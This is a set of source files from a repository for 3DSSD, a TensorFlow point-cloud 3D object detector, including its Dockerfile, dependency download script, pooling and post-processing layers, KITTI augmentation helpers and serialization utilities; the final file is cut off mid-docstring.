"6fa0dffc40e3fd8228156fc9afae12475e2bb421", "content_id": "f4594191fe4e84539b3908c276dbe91fbd1bb44e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 927, "license_type": "permissive", "max_line_length": 126, "num_lines": 35, "path": "/Dockerfile", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "FROM nvidia/cuda:9.0-cudnn7-devel-ubuntu18.04\nLABEL maintainer \"taichiH <[email protected]>\"\n\nENV DEBIAN_FRONTEND=noninteractive\n\nRUN apt-get update\nRUN apt-get -y upgrade\nRUN apt-get -y install\\\n git \\\n curl \\\n build-essential \\\n python3 \\\n python3-pip \\\n tmux \\\n emacs \\\n gcc-5 \\\n g++-5 \\\n libboost-all-dev\n\nRUN mkdir /ws && \\\n cd /ws &&\\\n git clone https://github.com/taichiH/3DSSD &&\\\n cd 3DSSD&& \\\n pip3 install -r requirements.txt &&\\\n bash download-tensorflow.sh &&\\\n pip3 install tensorflow-1.4.0-cp36-cp36m-linux_x86_64.whl\n\nRUN cp /usr/local/cuda-9.0/targets/x86_64-linux/lib/stubs/libcuda.so /usr/local/cuda-9.0/targets/x86_64-linux/lib/libcuda.so.1\nRUN ldconfig\nRUN echo \"export PYTHONPATH=$PYTHONPATH:/ws/3DSSD/lib:/ws/3DSSD/mayavi\" >> ~/.bashrc\n\nRUN cd /ws/3DSSD && \\\n bash compile_all.sh /usr/local/lib/python3.6/dist-packages/tensorflow /usr/local/cuda-9.0\n\nCMD [\"bash\"]" }, { "alpha_fraction": 0.7316293716430664, "alphanum_fraction": 0.7316293716430664, "avg_line_length": 27.454545974731445, "blob_id": "6b44ad417ff07870e088c7b5e06a4d019676bbd3", "content_id": "ec9240973c8ab2a803ba52e713dcda15fa8430e9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 313, "license_type": "permissive", "max_line_length": 54, "num_lines": 11, "path": "/lib/modeling/__init__.py", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "from .single_stage_detector import SingleStageDetector\nfrom .double_stage_detector import DoubleStageDetector\nfrom core.config import cfg\n\ndef choose_model():\n model_dict = {\n 'SingleStage': SingleStageDetector,\n 'DoubleStage': DoubleStageDetector, \n } \n\n return model_dict[cfg.MODEL.TYPE]\n" }, { "alpha_fraction": 0.6038206815719604, "alphanum_fraction": 0.6201773285865784, "avg_line_length": 46.11176300048828, "blob_id": "a0ba90a369f1e4ccf2f34175b81b48896134f65a", "content_id": "dcf0d536d4c8d37af0eb935a29ee48d38207bc7e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8009, "license_type": "permissive", "max_line_length": 240, "num_lines": 170, "path": "/lib/builder/points_pooler.py", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "import tensorflow as tf\nimport numpy as np\n\nfrom core.config import cfg\nfrom utils.tf_ops.grouping.tf_grouping import query_boxes_3d_points, group_point, query_boxes_3d_mask\nfrom utils.tf_ops.points_pooling.points_pooling import points_pooling\nfrom utils.rotation_util import rotate_points\nfrom utils.pool_utils import *\n\nclass PointsPooler:\n def __init__(self, pool_cfg):\n self.pool_type = pool_cfg[0]\n self.pool_info_keys = pool_cfg[1] \n self.pool_channel_list = pool_cfg[2]\n self.sample_pts_num = pool_cfg[3]\n self.context_range = pool_cfg[4]\n self.l, self.h, self.w, self.sample_num = pool_cfg[5]\n self.vfe_channel_list = pool_cfg[6]\n self.bn = pool_cfg[7]\n self.scope = pool_cfg[8]\n\n pool_function_dict = {\n 'RegionPool': self.region_pool,\n 'PointsPool': self.points_pool, \n }\n self.pool = pool_function_dict[self.pool_type] \n\n def get_valid_mask(self, base_xyz, pred_boxes_3d):\n \"\"\"\n base_xyz: [bs, pts_num, 3]\n pred_boxes_3d: [bs, proposal_num, 7]\n \"\"\"\n expand_pred_boxes_3d = self.expand_proposals_context(pred_boxes_3d)\n mask = query_boxes_3d_mask(base_xyz, expand_pred_boxes_3d) # bs, proposal_num, pts_num\n mask = tf.reduce_max(mask, axis=-1) # bs, proposal_num\n mask = tf.expand_dims(mask, axis=-1)\n return mask\n \n\n def region_pool(self, base_xyz, base_feature, base_mask, pred_boxes_3d, is_training, bn_decay):\n \"\"\"\n base_xyz: [bs, pts_num, 3], xyz values\n base_feature: [bs, pts_num, c]\n pred_boxes_3d: [bs, proposal_num, 7]\n \"\"\" \n expand_pred_boxes_3d = self.expand_proposals_context(pred_boxes_3d)\n\n pool_xyz, pool_info, pool_feature, pool_mask = self.gather_interior_xyz_feature(base_xyz, base_feature, base_mask, expand_pred_boxes_3d)\n\n # then canonical pool_xyz\n canonical_xyz = self.canonical_xyz(pool_xyz, expand_pred_boxes_3d)\n\n additional_info = tf.concat([canonical_xyz, pool_info], axis=-1)\n pool_feature = self.align_info_and_feature(additional_info, pool_feature, is_training, bn_decay)\n \n pool_output = tf.concat([canonical_xyz, pool_feature], axis=-1) # bs, proposal_num, nsample, c\n\n bs, proposal_num, nsample, c = pool_output.get_shape().as_list() \n pool_output = tf.reshape(pool_output, [bs * proposal_num, nsample, c])\n\n return pool_output, pool_mask\n\n\n def points_pool(self, base_xyz, base_feature, base_mask, pred_boxes_3d, is_training, bn_decay):\n \"\"\"PointsPool cast sparse feature to dense grids\n \"\"\"\n expand_pred_boxes_3d = self.expand_proposals_context(pred_boxes_3d)\n\n pool_xyz, pool_info, pool_feature, pool_mask = self.gather_interior_xyz_feature(base_xyz, base_feature, base_mask, expand_pred_boxes_3d)\n\n # then canonical pool_xyz\n canonical_xyz = self.canonical_xyz(pool_xyz, expand_pred_boxes_3d)\n\n # put canonical_xyz back to the center of each proposal\n local_canonical_xyz = canonical_xyz + tf.expand_dims(expand_pred_boxes_3d[:, :, :3], axis=2)\n\n additional_info = tf.concat([local_canonical_xyz, canonical_xyz, pool_info], axis=-1)\n additional_info_channel = additional_info.get_shape().as_list()[-1]\n pool_feature = tf.concat([additional_info, pool_feature], axis=-1)\n\n dense_feature, idx, voxel_pts_num, voxel_ctrs = points_pooling(pool_feature, expand_pred_boxes_3d[:, :, :-1], local_canonical_xyz, l=self.l, h=self.h, w=self.w, sample_num=self.sample_num) # bs, proposal_num, l, h, w, sample_num, c \n \n bs, proposal_num, _, _, _, _, channel_num = dense_feature.get_shape().as_list()\n dense_feature = tf.reshape(dense_feature, \n [bs * proposal_num, self.l * self.h * self.w, self.sample_num, channel_num])\n dense_feature_mask = tf.reshape(voxel_pts_num, [bs * proposal_num, self.l * self.h * self.w, 1])\n dense_feature_mask = tf.greater(dense_feature_mask, 0)\n dense_feature_mask = tf.cast(dense_feature_mask, tf.float32) \n voxel_ctrs = tf.reshape(voxel_ctrs, [bs * proposal_num, self.l * self.h * self.w, 1, 3])\n\n dense_local_xyz = tf.slice(dense_feature, [0, 0, 0, 0], [-1, -1, -1, 3])\n dense_canonical_xyz = tf.slice(dense_feature, [0, 0, 0, 3], [-1, -1, -1, 3])\n dense_info = tf.slice(dense_feature, [0, 0, 0, 6], [-1, -1, -1, additional_info_channel - 6])\n dense_feature = tf.slice(dense_feature, [0, 0, 0, additional_info_channel], [-1, -1, -1, -1])\n\n dense_pillars_info = dense_local_xyz - voxel_ctrs\n dense_additional_info = tf.concat([dense_canonical_xyz, dense_info, dense_pillars_info], axis=-1) # [bs * proposal_num, l*h*w, sample_num, c] \n dense_feature = self.align_info_and_feature(dense_additional_info, dense_feature, is_training, bn_decay) \n\n # finally VFE layer\n dense_feature = align_channel_network(dense_feature, self.vfe_channel_list, self.bn, is_training, bn_decay, '%s/vfe'%self.scope) \n dense_feature = tf.reduce_max(dense_feature, axis=2)\n dense_feature = dense_feature * dense_feature_mask\n\n dense_voxel_ctrs = tf.reshape(voxel_ctrs, [bs * proposal_num, self.l * self.h * self.w,3])\n dense_feature = tf.concat([dense_voxel_ctrs, dense_feature], axis=-1)\n return dense_feature, pool_mask\n\n \n def align_info_and_feature(self, additional_info, pool_feature, is_training, bn_decay):\n \"\"\"\n Encode additional information, and concatenate with pool_feature\n \"\"\"\n encoded_info = align_channel_network(additional_info, self.pool_channel_list, self.bn, is_training, bn_decay, self.scope)\n pool_feature = tf.concat([encoded_info, pool_feature], axis=-1)\n return pool_feature\n\n\n def gather_interior_xyz_feature(self, base_xyz, base_feature, base_mask, pred_boxes_3d):\n \"\"\"\n Gather interior points among proposals and generate their features \n \"\"\"\n pool_idx, pool_cnt = query_boxes_3d_points(self.sample_pts_num, base_xyz, pred_boxes_3d) \n # [bs, proposal, 1]\n pool_mask = tf.expand_dims(tf.cast(tf.greater(pool_cnt, 0), tf.int32), axis=-1)\n pool_idx = pool_mask * pool_idx\n\n pool_xyz = group_point(base_xyz, pool_idx) # bs, proposal_num, nsample, 3\n pool_feature = group_point(base_feature, pool_idx)\n\n pool_info_list = []\n pool_info_dict = {\n 'mask': group_point(base_mask, pool_idx),\n 'dist': tf.norm(pool_xyz, axis=-1, keep_dims=True), \n }\n for key in self.pool_info_keys:\n pool_info_list.append(pool_info_dict[key]) \n pool_info = tf.concat(pool_info_list, axis=-1) # [bs, proposal_num, nsample, c1]\n \n return pool_xyz, pool_info, pool_feature, pool_mask\n \n \n def canonical_xyz(self, pool_xyz, proposals):\n \"\"\"\n apply canonical transformation on pool_xyz\n pool_xyz: [bs, proposal_num, nsample, 3]\n proposals: [bs, proposal_num, 7]\n\n canonical_xyz: [bs, proposal_num, nsample, 3]\n \"\"\"\n # first normalize pool_xyz by proposals_center \n normalized_xyz = pool_xyz - tf.expand_dims(proposals, axis=2)[:, :, :, :3]\n\n # then rotate normalized_xyz\n canonical_xyz = rotate_points(normalized_xyz, -proposals[:, :, -1]) \n return canonical_xyz\n\n\n def expand_proposals_context(self, pred_boxes_3d):\n \"\"\"\n Expand proposals with context range\n pred_boxes_3d: [bs, proposal_num, 7]\n \"\"\"\n pred_boxes_ctr = tf.slice(pred_boxes_3d, [0, 0, 0], [-1, -1, 3])\n pred_boxes_size = tf.slice(pred_boxes_3d, [0, 0, 3], [-1, -1, 3])\n pred_boxes_ry = tf.slice(pred_boxes_3d, [0, 0, 6], [-1, -1, -1])\n\n pred_boxes_size += self.context_range \n expand_pred_boxes_3d = tf.concat([pred_boxes_ctr, pred_boxes_size, pred_boxes_ry], axis=-1)\n return expand_pred_boxes_3d\n" }, { "alpha_fraction": 0.6023281216621399, "alphanum_fraction": 0.6291283369064331, "avg_line_length": 26.348148345947266, "blob_id": "5e1851a81993500834e52ea1aa792752c3b35672", "content_id": "4f5dc31bc1ae3173158e06f77872a575496923cf", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3694, "license_type": "permissive", "max_line_length": 86, "num_lines": 135, "path": "/lib/utils/kitti_aug.py", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "import copy\n\nimport numpy as np\nfrom utils.rotation_util import *\n\n\ndef flip_image(image):\n \"\"\"Flips an image horizontally\n \"\"\"\n flipped_image = np.fliplr(image)\n return flipped_image\n\n\ndef flip_points(points):\n \"\"\"Flips a list of points (N, 3)\n \"\"\"\n flipped_points = np.copy(points)\n flipped_points[:, 0] = -points[:, 0]\n return flipped_points\n\n\ndef flip_label_in_3d_only(obj_label):\n \"\"\"Flips only the 3D position of an object label. The 2D bounding box is\n not flipped to save time since it is not used.\n\n Args:\n obj_label: ObjectLabel\n\n Returns:\n A flipped object\n \"\"\"\n\n flipped_label = copy.deepcopy(obj_label)\n\n # Flip the rotation\n if obj_label.ry >= 0:\n flipped_label.ry = np.pi - obj_label.ry\n else:\n flipped_label.ry = -np.pi - obj_label.ry\n\n # Flip the t.x sign, t.y and t.z remains the unchanged\n flipped_t = (-flipped_label.t[0], flipped_label.t[1], flipped_label.t[2])\n flipped_label.t = flipped_t\n\n return flipped_label\n\n\ndef flip_boxes_3d(boxes_3d, flip_ry=True):\n \"\"\"Flips boxes_3d\n\n Args:\n boxes_3d: List of boxes in box_3d format\n flip_ry bool: (optional) if False, rotation is not flipped to save on\n computation (useful for flipping anchors)\n\n Returns:\n flipped_boxes_3d: Flipped boxes in box_3d format\n \"\"\"\n\n flipped_boxes_3d = np.copy(boxes_3d)\n\n if flip_ry:\n # Flip the rotation\n above_zero = boxes_3d[:, 6] >= 0\n below_zero = np.logical_not(above_zero)\n flipped_boxes_3d[above_zero, 6] = np.pi - boxes_3d[above_zero, 6]\n flipped_boxes_3d[below_zero, 6] = -np.pi - boxes_3d[below_zero, 6]\n\n # Flip the t.x sign, t.y and t.z remains the unchanged\n flipped_boxes_3d[:, 0] = -boxes_3d[:, 0]\n\n return flipped_boxes_3d\n\n\ndef flip_ground_plane(ground_plane):\n \"\"\"Flips the ground plane by negating the x coefficient\n (ax + by + cz + d = 0)\n\n Args:\n ground_plane: ground plane coefficients\n\n Returns:\n Flipped ground plane coefficients\n \"\"\"\n flipped_ground_plane = np.copy(ground_plane)\n flipped_ground_plane[0] = -ground_plane[0]\n return flipped_ground_plane\n\n\ndef flip_stereo_calib_p2(calib_p2, image_shape):\n \"\"\"Flips the stereo calibration matrix to correct the projection back to\n image space. Flipping the image can be seen as a movement of both the\n camera plane, and the camera itself. To account for this, the instrinsic\n matrix x0 value is flipped with respect to the image width, and the\n extrinsic matrix t1 value is negated.\n\n Args:\n calib_p2: 3 x 4 stereo camera calibration matrix\n image_shape: (h, w) image shape\n\n Returns:\n 'Flipped' calibration p2 matrix with shape (3, 4)\n \"\"\"\n flipped_p2 = np.copy(calib_p2)\n flipped_p2[0, 2] = image_shape[1] - calib_p2[0, 2]\n flipped_p2[0, 3] = -calib_p2[0, 3]\n\n return flipped_p2\n\n\ndef scale_multi_stereo_calib_p2(calib_p2, scale):\n \"\"\" Scale the calib_p2 in order to let same point projected to same pixel in image\n\n Args:\n calib_p2: [3, 4] matrix\n scale: the enlarge scale\n \"\"\"\n inv_scale = 1 / scale\n calib_p2_1 = calib_p2[:, :3]\n calib_p2_2 = calib_p2[:, 3]\n calib_p2_1 *= inv_scale\n calib_p2 = np.concatenate([calib_p2_1, calib_p2_2[:, np.newaxis]], axis=-1)\n return calib_p2\n\n\ndef rotate_stereo_calib_p2(calib_p2, angle):\n \"\"\" rotate the calib_p2 in order to let same point projected to same pixel\n\n Args:\n calib_p2: [3, 4] matrix\n angle: rotate angle\n \"\"\"\n inv_roty = inv_roty(angle) # [4, 4]\n calib_p2 = np.matmul(calib_p2, inv_roty)\n return calib_p2\n\n\n" }, { "alpha_fraction": 0.6742857098579407, "alphanum_fraction": 0.7457143068313599, "avg_line_length": 86.5, "blob_id": "132e7ffd190430006535de3875c0e94a5c4b4d23", "content_id": "9126bc36424be5549330e6692f5240be9e424707", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 350, "license_type": "permissive", "max_line_length": 167, "num_lines": 4, "path": "/download-tensorflow.sh", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "#!/bin/bash\ncurl -sc /tmp/cookie \"https://drive.google.com/uc?export=download&id=142fwmiq8skVUcEqxXny9zA4bNG7YULGn\" > /dev/null\nCODE=\"$(awk '/_warning_/ {print $NF}' /tmp/cookie)\" \ncurl -Lb /tmp/cookie \"https://drive.google.com/uc?export=download&confirm=${CODE}&id=142fwmiq8skVUcEqxXny9zA4bNG7YULGn\" -o tensorflow-1.4.0-cp36-cp36m-linux_x86_64.whl\n" }, { "alpha_fraction": 0.6805170774459839, "alphanum_fraction": 0.6814404726028442, "avg_line_length": 30.852941513061523, "blob_id": "08a1f7ab26cd4a8575ceb75bc16d0ddc5596efde", "content_id": "d079e53ab814fa3b26be9b202f0e07cad0b53d75", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1083, "license_type": "permissive", "max_line_length": 104, "num_lines": 34, "path": "/lib/core/data_preprocessor.py", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "import os, sys\nimport numpy as np\nimport tensorflow as tf\nimport cv2\nimport argparse\n\nfrom core.config import cfg, cfg_from_file, cfg_from_list, assert_and_infer_cfg\nfrom dataset.dataloader import choose_dataset\n\ndef parse_args():\n parser = argparse.ArgumentParser(description='Trainer')\n parser.add_argument('--cfg', required=True, help='Config file for training')\n parser.add_argument('--split', default='training', help='Dataset split: training')\n parser.add_argument('--img_list', default='train', help='Train/Val/Trainval/Test list')\n args = parser.parse_args()\n\n return args\n \n\nif __name__ == '__main__':\n args = parse_args()\n cfg_from_file(args.cfg)\n\n if args.img_list == 'test':\n # if test, no groundtruth available\n cfg.TEST.WITH_GT = False \n if args.img_list == 'val':\n # if val, no mixup dataset\n cfg.TRAIN.AUGMENTATIONS.MIXUP.OPEN = False\n\n dataset_func = choose_dataset()\n dataset = dataset_func('preprocessing', split=args.split, img_list=args.img_list, is_training=False)\n\n dataset.preprocess_batch()\n" }, { "alpha_fraction": 0.5949754118919373, "alphanum_fraction": 0.612968921661377, "avg_line_length": 46.894309997558594, "blob_id": "2c35a8456656657917935b20a177aa53b18433bb", "content_id": "972bfed8e7af4df57a8df972a8072f7a1a897374", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5891, "license_type": "permissive", "max_line_length": 165, "num_lines": 123, "path": "/lib/builder/postprocessor.py", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "import numpy as np\nimport tensorflow as tf\n\nfrom core.config import cfg\nfrom utils.anchors_util import project_to_bev\nfrom utils.box_3d_utils import box_3d_to_anchor\n\nimport dataset.maps_dict as maps_dict\n\nclass PostProcessor:\n def __init__(self, stage, cls_num):\n if stage == 0:\n self.postprocessor_cfg = cfg.MODEL.FIRST_STAGE\n elif stage == 1:\n self.postprocessor_cfg = cfg.MODEL.SECOND_STAGE\n else: raise Exception('Not Implementation Error')\n\n self.max_output_size = self.postprocessor_cfg.MAX_OUTPUT_NUM\n self.nms_threshold = self.postprocessor_cfg.NMS_THRESH\n\n self.cls_num = cls_num\n \n \n def class_unaware_format(self, pred_anchors_3d, pred_score):\n \"\"\" (for rpn propose)\n Change prediction format from class-aware-format to class-ignorance-format\n pred_anchors_3d: [bs, points_num, 1/cls_num, 7]\n pred_score: [bs, points_num, cls_num]\n\n return: pred_anchors_3d: [bs, points_num, 1, 7]\n pred_score: [bs, points_num, 1]\n \"\"\" \n unaware_pred_score = tf.reduce_max(pred_score, axis=-1, keepdims=True)\n cls_num = pred_anchors_3d.get_shape().as_list()[2]\n if cls_num == 1:\n return pred_anchors_3d, unaware_pred_score\n\n # class-aware in boundingbox prediction\n pred_cls = tf.argmax(pred_score, axis=-1)\n pred_cls_onehot = tf.cast(tf.one_hot(pred_cls, depth=cls_num, on_value=1, off_value=0, axis=-1), tf.float32)\n # bs, pts_num, cls_num, 7\n unaware_pred_anchors_3d = pred_anchors_3d * tf.expand_dims(pred_cls_onehot, axis=-1)\n unaware_pred_anchors_3d = tf.reduce_sum(unaware_pred_anchors_3d, axis=2, keepdims=True)\n return unaware_pred_anchors_3d, unaware_pred_score\n\n \n\n\n def forward(self, pred_anchors_3d, pred_score, output_dict, pred_attribute=None, pred_velocity=None):\n \"\"\"\n pred_anchors_3d: [bs, points_num, 1/cls_num, 7]\n pred_score: [bs, points_num, cls_num]\n pred_attribute: [bs, points_num, 1/cls_num, 8]\n pred_velocity: [bs, points_num, 1/cls_num, 2]\n \"\"\"\n cls_num = pred_score.get_shape().as_list()[-1] \n if cls_num != self.cls_num: # format predictions to class-unaware predictions\n assert pred_attribute == None and pred_velocity == None, 'Not support the predictions of attribute and velocity in RPN phase'\n pred_anchors_3d, pred_score = self.class_unaware_format(pred_anchors_3d, pred_score)\n\n pred_anchors_3d_list = tf.unstack(pred_anchors_3d, axis=0)\n pred_scores_list = tf.unstack(pred_score, axis=0)\n\n pred_3d_bbox_list = []\n pred_3d_cls_score_list = []\n pred_3d_cls_cat_list = []\n pred_attribute_list = []\n pred_velocity_list = []\n for batch_idx, pred_anchors_3d, pred_scores in zip(range(len(pred_anchors_3d_list)), pred_anchors_3d_list, pred_scores_list):\n cur_pred_3d_bbox_list = []\n cur_pred_3d_cls_score_list = []\n cur_pred_3d_cls_cat_list = []\n cur_pred_attribute_list = []\n cur_pred_velocity_list = []\n\n for i in range(self.cls_num):\n reg_i = min(i, pred_anchors_3d.get_shape().as_list()[1] - 1)\n cur_pred_anchors_3d = pred_anchors_3d[:, reg_i, :] \n\n cur_pred_anchors = box_3d_to_anchor(cur_pred_anchors_3d) \n cur_pred_anchors_bev = project_to_bev(cur_pred_anchors) # [-1, 4]\n\n cur_cls_score = pred_scores[:, i]\n nms_index = tf.image.non_max_suppression(cur_pred_anchors_bev, cur_cls_score, max_output_size=self.max_output_size, iou_threshold=self.nms_threshold)\n \n cur_pred_3d_bbox_list.append(tf.gather(cur_pred_anchors_3d, nms_index)) \n cur_pred_3d_cls_score_list.append(tf.gather(cur_cls_score, nms_index))\n cur_pred_3d_cls_cat_list.append(tf.cast(tf.ones_like(nms_index), tf.int32) * i)\n\n if pred_attribute is not None:\n cur_pred_attribute_list.append(tf.gather(pred_attribute[batch_idx, :, reg_i, :], nms_index))\n if pred_velocity is not None:\n cur_pred_velocity_list.append(tf.gather(pred_velocity[batch_idx, :, reg_i, :], nms_index))\n\n cur_pred_3d_bbox_list = tf.concat(cur_pred_3d_bbox_list, axis=0)\n cur_pred_3d_cls_score_list = tf.concat(cur_pred_3d_cls_score_list, axis=0)\n cur_pred_3d_cls_cat_list = tf.concat(cur_pred_3d_cls_cat_list, axis=0)\n\n pred_3d_bbox_list.append(cur_pred_3d_bbox_list)\n pred_3d_cls_score_list.append(cur_pred_3d_cls_score_list)\n pred_3d_cls_cat_list.append(cur_pred_3d_cls_cat_list)\n\n if pred_attribute is not None:\n cur_pred_attribute_list = tf.concat(cur_pred_attribute_list, axis=0)\n pred_attribute_list.append(cur_pred_attribute_list)\n\n if pred_velocity is not None:\n cur_pred_velocity_list = tf.concat(cur_pred_velocity_list, axis=0)\n pred_velocity_list.append(cur_pred_velocity_list)\n\n pred_3d_bbox_list = tf.stack(pred_3d_bbox_list, axis=0)\n pred_3d_cls_score_list = tf.stack(pred_3d_cls_score_list, axis=0)\n pred_3d_cls_cat_list = tf.stack(pred_3d_cls_cat_list, axis=0)\n \n output_dict[maps_dict.PRED_3D_BBOX].append(pred_3d_bbox_list)\n output_dict[maps_dict.PRED_3D_SCORE].append(pred_3d_cls_score_list)\n output_dict[maps_dict.PRED_3D_CLS_CATEGORY].append(pred_3d_cls_cat_list)\n if pred_attribute is not None:\n output_dict[maps_dict.PRED_3D_ATTRIBUTE].append(tf.stack(pred_attribute_list, axis=0))\n if pred_velocity is not None:\n output_dict[maps_dict.PRED_3D_VELOCITY].append(tf.stack(pred_velocity_list, axis=0))\n\n return output_dict\n" }, { "alpha_fraction": 0.5103614330291748, "alphanum_fraction": 0.5303614735603333, "avg_line_length": 25.302631378173828, "blob_id": "dae611dfb2212973271c910def470d16975a5f31", "content_id": "323d30db56004b5a0931b8d7e23fddd9ccc735d2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4150, "license_type": "permissive", "max_line_length": 104, "num_lines": 152, "path": "/lib/dataset/data_provider/serialize.py", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n### modified from https://github.com/ppwwyyxx/tensorpack\r\n\r\nimport os\r\nimport sys\r\nimport msgpack\r\nimport msgpack_numpy\r\nmsgpack_numpy.patch()\r\nimport json\r\nimport numpy as np\r\n\r\nfrom .logger import *\r\n\r\n# https://github.com/apache/arrow/pull/1223#issuecomment-359895666\r\nold_mod = sys.modules.get('torch', None)\r\nsys.modules['torch'] = None\r\ntry:\r\n import pyarrow as pa\r\nexcept ImportError:\r\n pa = None\r\nif old_mod is not None:\r\n sys.modules['torch'] = old_mod\r\nelse:\r\n del sys.modules['torch']\r\n\r\nimport pickle\r\n\r\n__all__ = ['loads', 'dumps', 'dump_pkl', 'load_pkl']\r\n\r\n\r\ndef dumps_msgpack(obj):\r\n \"\"\"\r\n Serialize an object.\r\n Returns:\r\n Implementation-dependent bytes-like object\r\n \"\"\"\r\n return msgpack.dumps(obj, use_bin_type=True)\r\n\r\n\r\ndef loads_msgpack(buf):\r\n \"\"\"\r\n Args:\r\n buf: the output of `dumps`.\r\n \"\"\"\r\n return msgpack.loads(buf, raw=False)\r\n\r\n\r\ndef dumps_pyarrow(obj):\r\n \"\"\"\r\n Serialize an object.\r\n\r\n Returns:\r\n Implementation-dependent bytes-like object\r\n \"\"\"\r\n return pa.serialize(obj).to_buffer()\r\n\r\n\r\ndef loads_pyarrow(buf):\r\n \"\"\"\r\n Args:\r\n buf: the output of `dumps`.\r\n \"\"\"\r\n return pa.deserialize(buf)\r\n\r\n\r\ndef dump_pkl(name, obj):\r\n with open('{}'.format(name), 'wb') as f:\r\n pickle.dump( obj, f, pickle.HIGHEST_PROTOCOL )\r\n\r\ndef load_pkl(name):\r\n with open('{}'.format(name), 'rb') as f:\r\n ret = pickle.load( f )\r\n return ret\r\n\r\nif pa is None:\r\n loads = loads_msgpack\r\n dumps = dumps_msgpack\r\nelse:\r\n loads = loads_pyarrow\r\n dumps = dumps_pyarrow\r\n\r\ndef dump_dict(obj):\r\n dic = dict()\r\n for i, attr in enumerate(dir(obj)):\r\n if attr.startswith('_'): continue\r\n k = obj.__getattribute__(attr)\r\n if callable(k): continue\r\n dic[attr] = k\r\n return dic\r\n\r\ndef comp_dict(dic1, dic2, cfg1='cfg1', cfg2='cfg2'):\r\n diff_count = 0\r\n extra1_count = 0\r\n extra2_count = 0\r\n\r\n set1 = set(dic1.keys())\r\n set2 = set(dic2.keys())\r\n \r\n ign_cond = lambda i: 'dir' in i.lower() or 'path' in i.lower()\r\n\r\n def ign_word_last(list):\r\n ign_list = [i for i in list if ign_cond(i)]\r\n else_list = [i for i in list if not ign_cond(i)]\r\n return else_list + ign_list\r\n\r\n for k in ign_word_last(sorted(set1 & set2)):\r\n same = True\r\n if (isinstance(dic1[k], list) or isinstance(dic1[k], tuple) or isinstance(dic1[k], np.ndarray)):\r\n try:\r\n if len(dic1[k]) == len(dic2[k]) == 0: continue\r\n if np.asarray(dic1[k]).shape != np.asarray(dic2[k]).shape or \\\r\n np.any(np.asarray(dic1[k]) != np.asarray(dic2[k])):\r\n diff_count += 1\r\n same = False\r\n except Exception as e:\r\n print_red(e)\r\n diff_count += 1\r\n same = False\r\n else:\r\n if dic1[k] != dic2[k]:\r\n diff_count += 1\r\n same = False\r\n if not same:\r\n if diff_count == 1:\r\n print_red('### Difference between {} and {}:'.format(cfg1, cfg2))\r\n print('{:>20s} {:>10s}: {} <---> {}'.format(red('Diff'), k, dic1[k], dic2[k]))\r\n\r\n for k in ign_word_last(sorted(set1 - set2)):\r\n if extra1_count == 0:\r\n print_red('### Extra items in {}: '.format(cfg1))\r\n print('{:>20s} {:>10s}: {} <---> [None]'.format(green('New'), k, dic1[k]))\r\n diff_count += 1\r\n extra1_count += 1\r\n\r\n for k in ign_word_last(sorted(set2 - set1)):\r\n if extra2_count == 0:\r\n print_red('### Extra items in {}: '.format(cfg2))\r\n print('{:>20s} {:>10s}: [None] <---> {}'.format(red('Lack'), k, dic2[k]))\r\n diff_count += 1\r\n extra2_count += 1\r\n\r\n return (diff_count == 0) # issame\r\n\r\ndef dump_class(obj):\r\n def json_encode(x):\r\n if type(x) is np.ndarray:\r\n return x.tolist()\r\n else:\r\n return x\r\n dic = dump_dict(obj)\r\n return json.dumps(dic, indent=4, skipkeys=True, default=json_encode, sort_keys=True)\r\n" }, { "alpha_fraction": 0.5594444274902344, "alphanum_fraction": 0.596666693687439, "avg_line_length": 37.709678649902344, "blob_id": "df9ae1ba04082bd9a9aae0e5ea16de58b8dc2277", "content_id": "70a59202cb39f20a2f09b151d53c6f1951470436", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3600, "license_type": "permissive", "max_line_length": 158, "num_lines": 93, "path": "/lib/utils/tf_ops/points_pooling/points_pooling.py", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "import tensorflow as tf\nfrom tensorflow.python.framework import ops\nimport sys\nimport os\nimport numpy as np\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\nsys.path.append(BASE_DIR)\npoints_pooling_module=tf.load_op_library(os.path.join(BASE_DIR, 'tf_points_pooling_so.so'))\n\ndef points_pooling(pc, box_3d, pc_loc, l=7, h=7, w=7, sample_num=35):\n \"\"\"\n param pc: the whole point cloud, [bs, proposal_num, pts_sample_num, c]\n param box_3d: [bs, proposal, 6]: x, y, z, l, h, w\n param pc_loc: [bs, proposal_num, pts_sample_num, 3], [xyz] location of each points\n return: \n out_features: [bs, proposal_num, l, h, w, sample_num, c]\n out_idx: [bs, proposal_num, l, h, w, sample_num], index\n out_points_num: [bs, proposal_num, l, h, w]\n pillars: [bs, proposal_num, l, h, w, 3] # center of each pillar\n \"\"\"\n return points_pooling_module.points_pooling(pc, box_3d, pc_loc, l, h, w, sample_num)\[email protected]('PointsPooling')\ndef _points_pooling_grad(op, features_grad, _1, _2, _3):\n # features_grad: [n, l, h, w, sampling_num, c]\n pc = op.inputs[0]\n out_idx = op.outputs[1]\n sampled_num_lists = op.outputs[2]\n\n return[points_pooling_module.points_pooling_grad(pc, out_idx, sampled_num_lists, features_grad), None, None, None]\n\ndef calc_anchors_pillar_center(proposals, l=7, h=7, w=7, anchor_offset=[0.5, 0.5, 0.5]):\n \"\"\"\n calc the proposals' center location of each grid 